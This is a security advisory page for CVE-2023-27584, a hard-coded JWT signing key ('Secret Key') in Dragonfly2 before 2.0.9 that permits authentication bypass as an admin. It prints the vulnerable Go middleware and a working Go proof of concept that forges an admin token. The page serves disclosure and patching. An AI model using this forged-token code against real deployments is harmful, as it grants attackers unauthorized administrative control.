9.8critical
Dragonfly2 vulnerable to hard coded cyptographic key
- Severity
- 9.8critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 33.9% (higher than 98% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-hpc8-7wpm-889wGO-2024-3136
Description
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| dragonflyoss Dragonfly2 | < 2.0.9, before 2.0.9 | CVE List |
| d7y.io/dragonfly/v2 (Go) | from 2.1.0-alpha.0 before 2.1.0-beta.1, before 2.0.9-rc.2, before 2.1.0-beta.1 | GitHub Advisory Database, Go Vulnerability Database |
| linuxfoundation dragonfly | before 2.0.9 | NVD |
All scores
| GitHub_M | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| NVD | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
What each source says
CVE List
Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
GitHub Advisory Database
Summary
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.
Details
Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass
authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
Realm: "Dragonfly",
Key: []byte("Secret Key"),
Timeout: 2 * 24 * time.Hour,
MaxRefresh: 2 * 24 * time.Hour,
IdentityKey: identityKey,
IdentityHandler: func(c *gin.Context) any {
claims := jwt.ExtractClaims(c)
id, ok := claims[identityKey]
if !ok {
c.JSON(http.StatusUnauthorized, gin.H{
"message": "Unavailable token: require user id",
})
c.Abort()
return nil
}
c.Set("id", id)
return id
})
PoC
Use code below to generate a jwt token
package main
import (
"errors"
"fmt"
"time"
"github.com/golang-jwt/jwt/v4"
)
func (stc *DragonflyTokenClaims) Valid() error {
// Verify expiry.
if stc.ExpiresAt <= time.Now().UTC().Unix() {
vErr := new(jwt.ValidationError)
vErr.Inner = errors.New("Token is expired")
vErr.Errors |= jwt.ValidationErrorExpired
return vErr
}
return nil
}
type DragonflyTokenClaims struct {
Id int32 `json:"id,omitempty"`
ExpiresAt int64 `json:"exp,omitempty"`
Issue int64 `json:"orig_iat,omitempty"`
}
func main() {
signingKey := "Secret Key"
token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Id: 1,
Issue: time.Now().Unix(),
})
signedToken, _ := token.SignedString([]byte(signingKey))
fmt.Println(signedToken)
}
And send request with JWT above , you can still get data without restriction. image
Impact
An attacker can perform any action as a user with admin privileges.
Go Vulnerability Database
Dragonfly2 has hard coded cyptographic key in d7y.io/dragonfly
NVD (es)
Dragonfly es un sistema de distribución de archivos y aceleración de imágenes basado en P2P de código abierto. Está alojado por la Cloud Native Computing Foundation (CNCF) como un proyecto de nivel de incubación. Dragonfly utiliza JWT para verificar al usuario. Sin embargo, la clave secreta para JWT, "Clave secreta", está codificada de forma rígida, lo que permite eludir la autenticación. Un atacante puede realizar cualquier acción como usuario con privilegios de administrador. Este problema se ha solucionado en la versión 2.0.9. Se recomienda a todos los usuarios que actualicen. No existen workarounds conocidas para esta vulnerabilidad.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2023-27584 changed 2024-09-26 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-hpc8-7wpm-889w changed 2025-04-23 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2024-3136 changed 2026-03-03 | CC-BY-4.0 |
| NVD | CVE-2023-27584 changed 2026-06-17 | Public domain |